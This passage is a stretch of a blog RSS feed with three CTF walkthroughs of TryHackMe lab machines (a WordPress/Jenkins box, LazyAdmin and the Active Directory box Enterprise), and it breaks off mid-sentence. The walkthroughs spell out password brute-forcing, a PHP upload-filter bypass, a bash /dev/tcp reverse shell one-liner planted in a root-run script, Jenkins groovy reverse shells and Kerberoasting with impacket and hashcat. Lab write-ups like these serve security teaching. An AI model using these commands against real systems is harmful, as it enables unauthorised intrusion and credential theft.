src="https://cdn-images-1.medium.com/max/951/1*Z5htVw_wP_XP7FMZAkEoxA.png" /></figure><p>Finally we see some directories popping up. A closer look at these directory show a WordPress installation. Now we can further go into WordPress Pen-testing.</p><h3><strong>STEP 3 — WORDPRESS ENUMERATION AND PEN-TESTING</strong></h3><p>When it comes to WordPress Pen-testing, i love to use “Hacker’s Target” tips. You can find more info on it <a href="https://hackertarget.com/attacking-wordpress/"><strong>here</strong></a></p><blockquote>Let’s go find some info on the WordPress site</blockquote><p>For enumerating the WordPress, we can automate it by using the WPscan tool.</p><p>To use the WPscan, use the syntax below:</p><pre># With the API-KEY you need to register an account on WPSCAN site<br># Providing API-KEY allows WPSCAN to check for some vulnerabilities.<br><br>wpscan -u [url of target] --api-key [API KEY] </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*f9U8WifBvPNvsbB6igGYSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*p6ghIFksVdNrX-cCcA6PcQ.png" /></figure><p>We could see the WordPress site’s default installation page, as seen above. Also, WPscan discovered a number of flaws that we may exploit, as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ZXp9-V0i1BcRG6MolS1c6g.png" /></figure><p>Also, because we have discovered the WordPress admin login page, we’ll undertake a brute-force assault to see if we can guess the admin user’s password.</p><p>Use the following syntax to finish the job using WPscan:</p><pre>wpscan  --url  http://[IP]/blog/ --usernames admin --passwords rockyou.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*5kzoZHb4a4annHeLChI7SQ.png" /></figure><p>As shown above we are able to identify a valid credential for the admin user. We will log into the WordPress site now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*qlbdAtbt_0Ix2HXxvKYvgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*D5OO-GQZ93tmCkQukifjDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*c2K7WcRIKd4f2vBN9wpGOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*SE0NsrgY-MRPO4GbJ_CZDg.png" /></figure><p>After successfully logging in, there aren’t many methods to take use of WordPress. We might:</p><ul><li>Upload a vulnerable plugin</li><li>Insert a reverse shell into the 404 theme template</li><li>use a known weakness WordPress that requires authentication</li></ul><blockquote>I tried uploading a vulnerable plugin and that didn’t work out so i moved to insert a reverse shell into the 404 theme</blockquote><h3>Exploit WordPress Theme</h3><p>To insert a reverse shell, we first need to remove all code in the theme and insert our code.</p><p>We will use an in-browser tool (plugin) called hack-tools to generate a reverse shell and save it in the 404.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*x5q2rZMVVXJgLm00q-_ZOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*pi3JkXEM2CyKwGdhGI3Xpw.png" /><figcaption>To get a reverse shell, we will need to navigate to the 404.php page. This can be found in the /wp-content/themes/twentyseventeen/404.php</figcaption></figure><p>But before we navigate to that directory, we will need to start our netcat listner. To do this use the command syntax below</p><h4>GETTING A REVERSE SHELL</h4><p>To get a reverse shell, we will need to navigate to the 404.php page. This can be found in the <strong>/wp-content/themes/twentyseventeen/404.php</strong></p><p>But before we navigate to that directory, we will need to start our netcat listner. To do this use the command syntax below</p><pre><br>nc -lvp [port number]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KfjTO97aAgfVN3nUHaBTLw.png" /></figure><p>We just need a flag since we already have a reverse shell. Listing the directory’s contents would be useless because of how smart its creator was. The only choice was to search the directory manually to see what we could discover.</p><p>We eventually located some credentials in the /opt directory. Given that we already know that the SSH service is operating, this could be helpful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*y1VH3Xb2N-2aEpNBolqZyg.png" /></figure><h4>LOGGING INTO SSH</h4><p>To log into the SSH, we will use the command syntax below:</p><pre># this command will prompt for a password<br><br>ssh [username]@[IP address] </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*v5HJS5JfLC9ji8BkYdiDfw.png" /></figure><p>We should have our first flag — user.txt here.</p><h3>PRIVILEGE ESCALATION</h3><p>We have SSH into the target, and need to escalate our privileges but we are unable to use sudo.</p><p>We will resort to other options to find ways to escalate privileges. By using the <strong>netstat </strong>tools available to us we can identify local services that maybe running as shown below</p><pre>netstat -ano</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*6uvjbyQ88AfuNpdDH5zsCw.png" /></figure><p>We identified localhost to run some services on port 8080. Navigate to that 127.0.0.1:8080 and we identify it to be a Jenkins server but it requires credential to access.</p><blockquote>Now it’s time to spawn burp suite for a brute-force attack. Maybe we can find common passwords used.</blockquote><p>To connect to the local Jenkins server we can utilize a SSH tunnel with the Aubreanna user to gain access via our browser.</p><blockquote>This basically allowing a port forwarding on port 8080</blockquote><p>To do this, we will use the SSH syntax. find more info on SSH port forwarding or SSH Tunneling <a href="https://linuxize.com/post/how-to-setup-ssh-tunneling/"><strong>here</strong></a></p><pre>ssh -L [port to forward to]:[internal IP address] [username]@[IP address]<br><br>#example command below<br>ssh -L 8080:172.17.0.2:8080 user@192.168.1.1</pre><p>As shown above, once we connect to the target via SSH Tunneling we are able to connect to the Jenkins server running. The only issue is that it requires credentials to access the Jenkins admin dashboard.</p><p>To accomplish this, we will perform a brute-force using the Burp Intruder tool as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GJ3D8L9c1M2jwhhm8FeDDw.png" /></figure><p>We are able to brute-force the admin credentials and have an admin dashboard to ourselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qLI-Kr8uyesmgUJxWApEHA.png" /></figure><blockquote>At this point i had no clue than to than to read more about Jenkins administration . I also found out that i could execute a groovy script by following documentation <a href="https://www.jenkins.io/doc/book/managing/script-console/"><strong>here</strong></a> and getting a groovy reverse script <a href="https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76"><strong>here</strong></a></blockquote><p>We will start a netcat listner and execute the reverse script in the Jenkins script console as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bh0nQsAUy9EK-nS6Ur0hww.png" /></figure><p>This provides us with a reverse shell and we again had to manually enumerate for flag but we found only a credential which is for the root user.</p><p>We will use this credential to log into the root account and obtain the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*LXIao5TV6_L5w342mSwuFA.png" /></figure><p>As shown above we have successfully SSH into the root user account and can now obtain the root flag.</p><h3>What did we learn from this walk-through?</h3><ul><li>How to perform WordPress scan with WPscan</li><li>How to perform brute-forcing on WordPress using WPscan</li><li>How to perform login credentials using Burp Intruder</li><li>How to connect to a local running service through SSH Tunneling</li><li>How to executive reverse groovy script in Jenkins Script Console</li></ul><p>Suggestions are welcomed. Get in touch with me on <a href="https://www.linkedin.com/in/newman-mortey/">LinkedIn</a>; I’d be happy to hear from you. I appreciate you reading this guide.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4138c05efec8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKING LAZYADMIN [TryHackMe] : CTF CHALLENGE]]></title>
            <link>https://medium.com/@optimus-pryme/hacking-lazyadmin-tryhackme-ctf-challenge-ec9d4141df54?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec9d4141df54</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Thu, 16 Feb 2023 11:01:09 GMT</pubDate>
            <atom:updated>2023-02-16T11:01:09.459Z</atom:updated>
            <content:encoded><![CDATA[<h3>HACKING LAZYADMIN [TryHackMe] : CTF CHALLENGE</h3><p>Good to have you back Hacker ! For a little warm-up we are going to hack into an easy level machine called LazyAdmin. At least, we get to exercise those muscles.</p><h3>Getting Started</h3><p>To play this machine First:</p><ul><li>Create an account on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Excellent job if you already have one.</li><li>Click on your profile avatar, and select “Access” from the drop-down.</li><li>From the “Access” page, download your openvpn file. This configuration file allows you to connect to the TryHackMe network through the OpenVpn Connection.</li><li>Lauch your Terminal and navigate to your downloads</li><li>Type “sudo openvpn [name of openvpn config file]</li><li>Now back in the browser, from the navigation bar of the TryHackme webpage, click on the “Learn” icon</li><li>On the “Learn” page, you should see three(3) tabs: Learn, Practice and Search. Click on the Search tab</li><li>Search for “LazyAdmin”</li></ul><h3>Reconnaissance — Getting to know our target</h3><p>In this easy level CTF, we will apply the penetration methodology and the first step is <strong>RECONNAISSANCE</strong></p><p>We will use the nmap tool with the following command to scan. The basic command syntax to start scan is as below:</p><pre># -A options performs a script,version and OS detection scan of target<br># Sometimes targets may block your scans because a ping is sent before scanning<br># You can an the -Pn options if you face this issue<br># Also you can remove the -A and replace it with -sC -sV which are default script and service scan respectively<br># We will not use nmap -A [ip address] command this time as it seemed to be blocked<br># We will use the nmap command : <br><br>nmap -Pn -sV -sC [IP Address]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*56EhoLzmCrgmmrFbufKZdw.png" /></figure><p>We disclosed only 2 open ports namely:</p><ul><li>Port 21 — FTP</li><li>Port 22 — SSH</li><li>Port 80 — HTTP</li></ul><p>Additionally, we also enumerated the server versions and SSH versions. We will continue to enumerate these service specifically.</p><h4>ENUMERATING FTP SERVICE</h4><p>FTP protocol allows us to share files easily from a Host. What we need to know is that FTP protocol can allow an anonymous login.</p><blockquote>What does mean?</blockquote><h4>ENUMERATING HTTP SERVICE</h4><p>Starting off with the HTTP services, we will brute-force we directories and see what we can find.</p><blockquote>Don’t forget to look for the robot.txt too</blockquote><p>To perform directory brute-force, we will utilize a tool named dirsearch.py. Below is the command to use:</p><pre># Dirsearch has its own wordlist <br># You can also use the SecList web directory list.<br><br>sudo python3 dirsearch.py -u [ip of target] -w [ wordlist to use]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*T5WoG2NSHUBskic4w1J0XQ.png" /></figure><p>As shown above we have identified a directory named content. This directory seemed to be a default page for installing a CMS. We will follow this directory and perform further directory brute-force using the dirsearch command</p><pre># Dirsearch has its own wordlist <br># You can also use the SecList web directory list.sudo python3 dirsearch.py -u [ip of target] -w [ wordlist to use]<br><br>sudo python3 dirsearch.py -u [ip of target]/content -w [ wordlist to use]</pre><p>This provides another list of successfully brute-forced directories as shown below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*NL2bWEww_l4J76gPE4K5yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*P1sV5GkyM3jfj9sfdb0hcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*L5ZEhnChJpPjnLnKA4kt6w.png" /></figure><p>What we found insteresting was some kind of files that were listed in the /inc directory as shown below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*j2kLlWRziOGX_ua4GR69kA.png" /></figure><p>We will start look into each one of them and see what we can find from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*o2qgEEQOsdp6jZE3DGKP6g.png" /></figure><p>Upon opening and inspecting the mysql_backup file we found some password which seemed to be hashed as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d22OjujV8HwwZpsuq_5y2g.png" /></figure><p>We also found a version number to confirm which version of the CMS was being used.</p><blockquote>I did found the CMS to be “Sweetrice” which i never heard of before</blockquote><p>We also conducted a little research on the version number and found some vulnerabilities and exploits that were disclosed for that specific version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*Btpzb8wrXDLwdEhASsz4kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OddSZP5IvEZ_K4T7y6t8w.png" /></figure><h3>CRACKING THE HASH AND EXPLOITING THE VULNERABILITY</h3><p>Now we have conducted much Recon on the target. In summary, we found the following:</p><ul><li>Port 22 — SSH</li><li>Port 80 — HTTP</li><li>Apache version 2.4.18</li><li>Disclosed hashed password in mysql_backup file</li><li>SweetRice version 1.5.1</li><li>Five(5) disclosed vulnerability for SweetRice 1.5.1</li></ul><p>To crack the hash, we will use “Crackstation.net” to make it easy for us. We need to just copy the hash and past it in the hash input to crack it as below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*1OhiPUKY9x2ZZG0ZhZJDUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*lsKwJwh0TpnAP1Ll1BmxEQ.png" /></figure><p>With this password, i tried logging to the admin panel using keywords used in the mysql_backup file. After several attempt only the username “manager” was successful as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*YDgFW8ks8DCzF8phCMP5XQ.png" /></figure><p>At this point we have had access to the admin panel and could see the upload file functionality available in the media section as below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*m06oLIoDG6eKyh-4BW3axw.png" /></figure><p>What we will exploit is this upload functionality by providing it with a reverse-shell.php code.</p><blockquote>To make it easy, exploit-db provided some exploit code but we could also go old school by doing this manually as well. That gives us a better understanding of the process afterall. Just note that the web app seemed to block all .php files and you’ll need to bypass this using other related php extensions such as .phtml or php5</blockquote><p>If you seek to run the old school style you can use the Burp Suite to intercept the request and update the extension of your script as shown below</p><p>To use the script for upload vulnerability, you will need to also provide the username, password and reverse-shell filename. See below for example to run the python exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*v7akpvzJQJxO9E66BGfbIg.png" /></figure><p>Next, we will launch the netcat tool and listen on port specified in reverse-hell script.</p><pre>nc -lvp [port number to listen]</pre><p>Navigating to the URL given in above screenshot will provide us a reverse shell as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iP8E-1JzTA-_ge7tynOSjA.png" /></figure><h3>PRIVILEGE ESCALATION</h3><p>We will look at the permissions made available to the www user by running the command “sudo -l”. The result of this as seen below was that the user had permission to run a script named “<strong><em>backup.pl</em></strong>” which was execting another script called “<strong><em>copy.sh</em></strong><em>”.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*FjAQiMkx9orDZfNtIv8Q0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*DVb46vQimi7SFSvK2keKDw.png" /></figure><p>At this point, we know the user can run this script as a root user thus we will echo a reverse-shell script into the “<strong>copy.sh</strong>” script and run it as shown below</p><pre># CHANGE THE IP AND PORT NUMBER<br><br>echo &quot;bash -c &#39;exec bash -i &amp;&gt;/dev/tcp/[IP]/[PORT] &lt;&amp;1&#39;&quot;</pre><pre># This is a Perl script<br>sudo /usr/bin/perl /home/itguy/backup.pl </pre><p>Running this script now should provide us with a reverse shell with root privileges.</p><blockquote>Remember to start netcat listener before running script</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*KgEAueqDr8xA7NJJ9rH4LQ.png" /></figure><h3>RECOMMENDATION</h3><p>You should try out this machine as much as you can, in my opinion. You will be more likely to remember what you learn if you review it more often.</p><p>Have suggestions ? I am open for communications and opportunities. Connect with me on <a href="https://www.linkedin.com/in/newman-mortey/"><strong>LinkedIn</strong></a>,</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec9d4141df54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACTIVE DIRECTORY 201 — BREACHING A DOMAIN]]></title>
            <link>https://medium.com/@optimus-pryme/active-directory-201-breaching-a-domain-a858d998f687?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a858d998f687</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Mon, 09 Jan 2023 10:21:24 GMT</pubDate>
            <atom:updated>2023-01-09T10:26:47.032Z</atom:updated>
            <content:encoded><![CDATA[<h3>ACTIVE DIRECTORY 201 — BREACHING A DOMAIN</h3><blockquote>Well done on setting up an Active Directory Lab.</blockquote><p>Today we will take a CTF focused on Active Directory and use that to explain processes involved in Pen-Testing Active Directory.</p><blockquote>Do not that we will not exhaust all the techniques that can be used to compromise an Active Directory Domain. Regardless, process explained here will sure be useful</blockquote><h3>Getting Active Directory Machine Started</h3><p>We will be using a TryHackMe machine named “Enterprise”. This is a hard level machine but don’t worry. We just need to the fundamental concepts.</p><p>To play this machine First:</p><ul><li>Create an account on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Excellent job if you already have one.</li><li>Click on your profile avatar, and select “Access” from the drop-down.</li><li>From the “Access” page download your openvpn file. This configuration file allows you to connect to the TryHackMe network through the OpenVpn Connection.</li><li>Lauch your Terminal and navigate to your downloads</li><li>Type “sudo openvpn [name of openvpn config file]</li><li>Now back in the browser, from the navigation bar of the TryHackme webpage, click on the “Learn” icon</li><li>On the “Learn” page, you should see three(3) tabs: Learn, Practice and Search. Click on the Search tab</li><li>Search for “Enterprise”</li></ul><h3>Understanding the Penetration Process</h3><p><strong>Wait up Hacker! </strong>No rush to fire up all your tools just yet. There’s something we need to understand: Security Frameworks available to us.</p><blockquote>Let’s touch on ‘em</blockquote><h4>What are Penetration Testing Processes</h4><p>The penetration testing process typically involves the following steps:</p><ul><li>Planning and reconnaissance: The tester gathers information about the target system and creates a plan for the test. This may include identifying the scope of the test, the types of vulnerabilities to be tested, and any legal or ethical constraints.</li><li>Scanning: The tester uses tools to scan the target system for vulnerabilities. This may include network scanning, port scanning, and vulnerability scanning.</li><li>Gaining access: The tester attempts to exploit vulnerabilities to gain access to the system. This may involve techniques such as social engineering, password cracking, or exploiting software vulnerabilities.</li><li>Maintaining access: The tester establishes a foothold on the system and maintains access. This may involve installing back-doors, creating new user accounts, or hiding files.</li><li>Covering tracks: The tester attempts to conceal their actions and remove any traces of their presence. This may involve deleting log files, disabling security controls, or modifying system configurations.</li><li>Reporting: The tester writes a report detailing the vulnerabilities they found and their recommendations for remediation. The report should include a detailed description of the vulnerabilities, the potential impact of each vulnerability, and specific recommendations for remediation.</li></ul><blockquote>Our focus will be on the Reconnaissance, Scanning , Gaining Access and Maintaining the Access process to understand how to completing compromise the Active Directory environment.</blockquote><h3>Reconnaissance</h3><p>What do we need in the reconnaissance phase? Basically any information that is reasonably useful.Example of such information is the target IP address, Domain Name,etc</p><blockquote>Fortunately, the IP address is already provided by TryHackMe. Thank Good Lord for that 😀</blockquote><h3>Scanning Target</h3><p>It involves using tools and techniques to gather information about a computer system, network or web application in this context Domain Controller.</p><blockquote>Guess you have already lookup my top 10 tools for Pen-Testing Active Directory <a href="https://www.linkedin.com/feed/update/urn:li:activity:7016706194937393152/">here</a></blockquote><p>For scanning will used nmap tool using the command below:</p><pre><br>sudo nmap -sC -sV [IP] -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxPe1VcxlConIVrPjDjfZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*IdmhcTB4DeZO0H6VLxNFZA.png" /></figure><p>After our scan, we had a lot of open ports available. These can confuse on what is happening here. But let’s understand how to use our results to identify if the target is a domain controller.</p><p>There are several ports that are commonly used by domain controllers. If these ports are open on a server, it is possible that the server is acting as a domain controller</p><ul><li>port 53: This port is used by the Domain Name System (DNS) service, which is used to resolve domain names to IP addresses.</li><li>port 88: This port is used by the Kerberos authentication service, which is used to authenticate users and services on the network.</li><li>port 135: This port is used by the Remote Procedure Call (RPC) service, which is used to communicate between domain controllers and other services on the network.</li><li>port 389: This port is used by the Lightweight Directory Access Protocol (LDAP) service, which is used to manage and access directory services on the network.</li><li>port 636: This port is used by the LDAP over SSL (LDAPS) service, which is used to securely access directory services over a network.</li><li>port 3268: This port is used by the Global Catalog service, which is used to provide information about objects in the Active Directory domain.</li><li>port 3269: This port is used by the Global Catalog over SSL (GC-SSL) service, which is used to securely access the Global Catalog service over a network.</li></ul><p>Another tip is that the target will have the domain name displayed in the results as in the image above.</p><h3>Gaining Access To Target</h3><p>We have found numerous services available on the target. Now it’s time to gain access by exploiting the services. This may involve enumerating shares, and sensitive files that maybe placed in them or even enumerating web servers and directory.</p><blockquote>Let’s have a look at services we can abuse</blockquote><h4>Abusing SMB Share</h4><blockquote>Users forget to delete sensitive files from shares</blockquote><p>Server Message Block (SMB) is a network protocol used for file and printer sharing, as well as for other tasks such as remote procedure calls. The default port for SMB is TCP port 445.</p><p>To enumerate the SMB shares, we will use the SMBclient tool. Use the command below to enumerate:</p><pre># This command will list all available shares on target<br><br>sudo smbclient -L \\10.10.253.26\\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*b4CZBEkRcoF-rgf1T8xS4g.png" /></figure><p>From the image above we see all the shares available in the target. Now what we we need to do next is try to connect to each of these shares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DKqwSYGDesX4y0kANefS7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*3SR_N0E7hW8sYTINKPsONw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*1DeqM-z_RtpnP9B-tZ7dqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Xv1NM51V3NZBZBwCfe5I-Q.png" /></figure><p>If we look through the images above, we will recognize that we were able to successfully connect to two(2) Shares namely:</p><ul><li>Users</li><li>LAB-ADMIN</li></ul><p>What we did next was to enumerate these shares we had access to.</p><blockquote>How do we enumerate these shares?</blockquote><p>Simply move around those shares with the command listed below:</p><ul><li>ls : List content of a directory</li><li>cd : Move into another directory</li><li>get : download a file in the share</li></ul><p>Going deeper into the “LAB-ADMIN” Share, we found file that seemed to hold the history of commands used by the domain user. We successfully download this file by using the command:</p><pre><br>&gt; get [filename]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*1DeqM-z_RtpnP9B-tZ7dqA.png" /></figure><p>After downloading the file, we used our cat command to view the file and below was the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Pf8ks9G3AwIPsNbHutaasg.png" /></figure><p>Taking a close look at the image above, we could see that the domain user used some username and password combination. In addition we see some kind of URL that maybe useful to look into.</p><blockquote>We will keep these credentials and see where we can use if need be.</blockquote><h4>Enumerating Web Server</h4><p>Remember our scan results? We discovered that port 80 was also opened. This is a popular one that we cannot ignore.</p><p>Looking into the HTTP service, we found nothing juicy though but let’s take the time to see what we enumerated about it.</p><p>Tool we will use here are:</p><ul><li>Wappalyzer : Enumerating web technology stack</li><li>diresearch: Brute-forcing web directories</li></ul><p>From the Wappalyzer, we found the target’s HTTP services was running on Windows IIS server and trying a directory brute-force yielded nothing except a robot.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*_1typwfyA1Jipby9Ne7dOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*54JkvqSpARpywHzUpvzLWw.png" /></figure><blockquote>Now what ?</blockquote><blockquote>We will look into the other open ports</blockquote><p>We will take a close look at port 7990 which seemed to be a login page as in the image below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*PUhh4MfFN2YLN-tt-JlnwA.png" /></figure><p>At the login page we will try the credentials we harvested from the SMB shares. Unfortunately, it does not work out.</p><blockquote>Do you remember what we said about reconnaissance?</blockquote><p>A closer look at their website on port 7990 we are hinted that they are moving to GitHub. With this information, we will go back to do a little Recon again using our best friend — Google.</p><h4>Welcome to Google Dorking</h4><blockquote>What is Google Dorking?</blockquote><p>Google dorking, also known as Google hacking, is the practice of using advanced search operators and queries to find specific types of information on the internet. These searches can be used to discover sensitive information such as login credentials, vulnerable systems, and personal data.</p><p>Google dorks are specific search queries that are formulated to search for specific types of information. For example, a Google dork could be used to search for websites inf that contain a specific piece of text, using the “inalltitle” query.</p><p>To search for information about target, we need to know the domain which is Enterprise.thm0. We will combine this the “site:” query. Query should be as below:</p><blockquote>Take note: Trying with the “site:” query gave meonly Github Enterprise results so i removed the site query</blockquote><pre><br> github + &quot;enterprise.thm0&quot; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*kKyRZytKlr8eE5WO0e8FcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*UcdmHu95Huwk3cGAkqbYcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*9VygnAMxex4XGSg3t4Pjkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*gV5hZArqeNJdXlSyPA6QRQ.png" /></figure><p>Look ! Their github commits had a username and password. Seems like it was mistakenly committed and later changed but github has the history.</p><p>In addition, this scripts seems to be an Active Directory scripts used to gather some info about the domain.</p><h4>Enumerating the Domain Information</h4><p>We come far to obtain a potential credential. We will use this credential to enumerate user,computers, permission and any other info we can get from the domain controller.</p><blockquote>Remember the script on github was doing something similar?</blockquote><p>To accomplish this task, we will use our next tool, ldapdomaindump tool.</p><p>ldapdomaindump is a tool that can be used to extract information from an Active Directory domain controller using Lightweight Directory Access Protocol (LDAP). LDAP is a standard protocol for accessing and managing directory services, and is commonly used in Windows-based networks.</p><p>To enumerate the domain, we will use the command below</p><pre># -u is the user of the domain which is &#39;LAB-ENTERPRISE\nik&#39;<br># -p is the password of the user found<br><br>sudo ldapdomaindump [IP] -u [User] -p [Password]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*HDcK6Y0CkN3RdOJcYAvePA.png" /></figure><p>Now opening the domain users, we find a lot of info that can be soon overwhelming but a closer look at it we find some users such as Guest who required no password, Bitbucket who had remote login privilege and Contractor who seems have a record of using weak password from his comment section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*HDcK6Y0CkN3RdOJcYAvePA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l71OW5LpHX2bbxMLejE0ZA.png" /></figure><blockquote>The guest account does not provide us much juice so we go with the bitbucket user for remote login. But wait.. We do not have a user password for bitbucket. So how do we get a password?</blockquote><blockquote>Welcome to Kerberos— The 3 headed beast.</blockquote><h4>Let’s Understand What Kerberos is all about</h4><blockquote><strong>First</strong>, Kerberos is a network authentication protocol that is designed to securely allow clients to access servers over an untrusted network, such as the internet</blockquote><h4>How does it work ?</h4><p>In a Kerberos environment, a client authenticates to a trusted third-party called the Key Distribution Center (KDC), which issues a ticket to the client. The client can then use this ticket to access servers on the network without having to re-enter their credentials.</p><p>Now the ticket is encrypted and <strong>in practice should only be decrypted</strong> by the server that the client is attempting to access, ensuring that the client’s credentials are secure. The issue with this is that, some users like our “contractor user” we found use weak password that can easily be cracked within minutes by any cracking tool.</p><blockquote>With this understanding, let’s go deeper into how this protocol can be abused.</blockquote><p>We know one thing ! Encrypted ticket should only be decrypted by the server that the client is trying to access. But what if we could crack the ticket ourselves. Is that even possible?</p><p>Absolutely yes! That is if the password are weak passwords and are found in a password dictionary. You know how keeping strong password can be tough for some people right? That’s our advantage.</p><p>Firstly, before firing up our crackers,we need to have a valid ticket and that’s is what we call <strong>Kerberoasting….</strong></p><blockquote>Kerberoasting is a cyber attack technique that involves using a tool to request service tickets from a Key Distribution Center (KDC) in a Kerberos environment and then cracking the resulting ticket hashes to obtain user credentials.</blockquote><p>To perform this we will use two(2) tools namely:</p><ul><li>Impacket-Get-UserSPNs : For requesting tickets of Service Principal Names(SPN)</li><li>Hashcat : For cracking the ticket</li></ul><blockquote>Service Principal Name (SPN) is a unique identifier for a service running on a network. It is used in the Kerberos authentication protocol to identify the service that a client is requesting access to. Example of the services are SSH and RDP among others.</blockquote><h4>Requesting for Tickets</h4><p>The Impacket-GetUserSPNs command we will use to complete this task is</p><pre># all we need is the following:<br># dc-ip : the domain controller IP<br># username<br># password<br># Domain name<br><br>/usr/bin/impacket-GetUserSPNs -dc-ip 10.10.253.26 &#39;LAB.ENTERPRISE.THM/nik:[password]&#39; -request</pre><p>This should give us an output as below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*uo_RfX4Ppgl-Q58Nx7kU8w.png" /></figure><h4>Cracking The Ticket</h4><p>To crack the encrypted ticket requested, We need a wordlist of password. For this we will use the rockyou.txt password list and the Hashcat tool</p><p>We will use the Hashcat command below:</p><pre># - m : module<br># -a : attack mode<br>hashcat -a 0 -m 13100 hash.txt rockyou.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*K5YX6gxOZrp9F0HltTIMeA.png" /></figure><p>As we already know that this user is in the “Remote Desktop Users” group. Let’s login then with a tool for logging into RDP.</p><p>The xfreexdp tool is a popular one that can simply do the job. To connect to RDP with this tool use the command :</p><pre># u : username<br>#p : password<br><br>xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:[IP] /u:bitbucket /p:[Password]</pre><p>We should have a remote desktop as shown below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SslYxDcltDm5fgJy9njLtQ.png" /></figure><p>Excellent now we have a foothold into the Active Directory environment what we need to do is to gain persistence in order to perpetuate your access just in case they change the password, patch some vulnerability (although it wasn’t our initial foothold, it is more than possible to 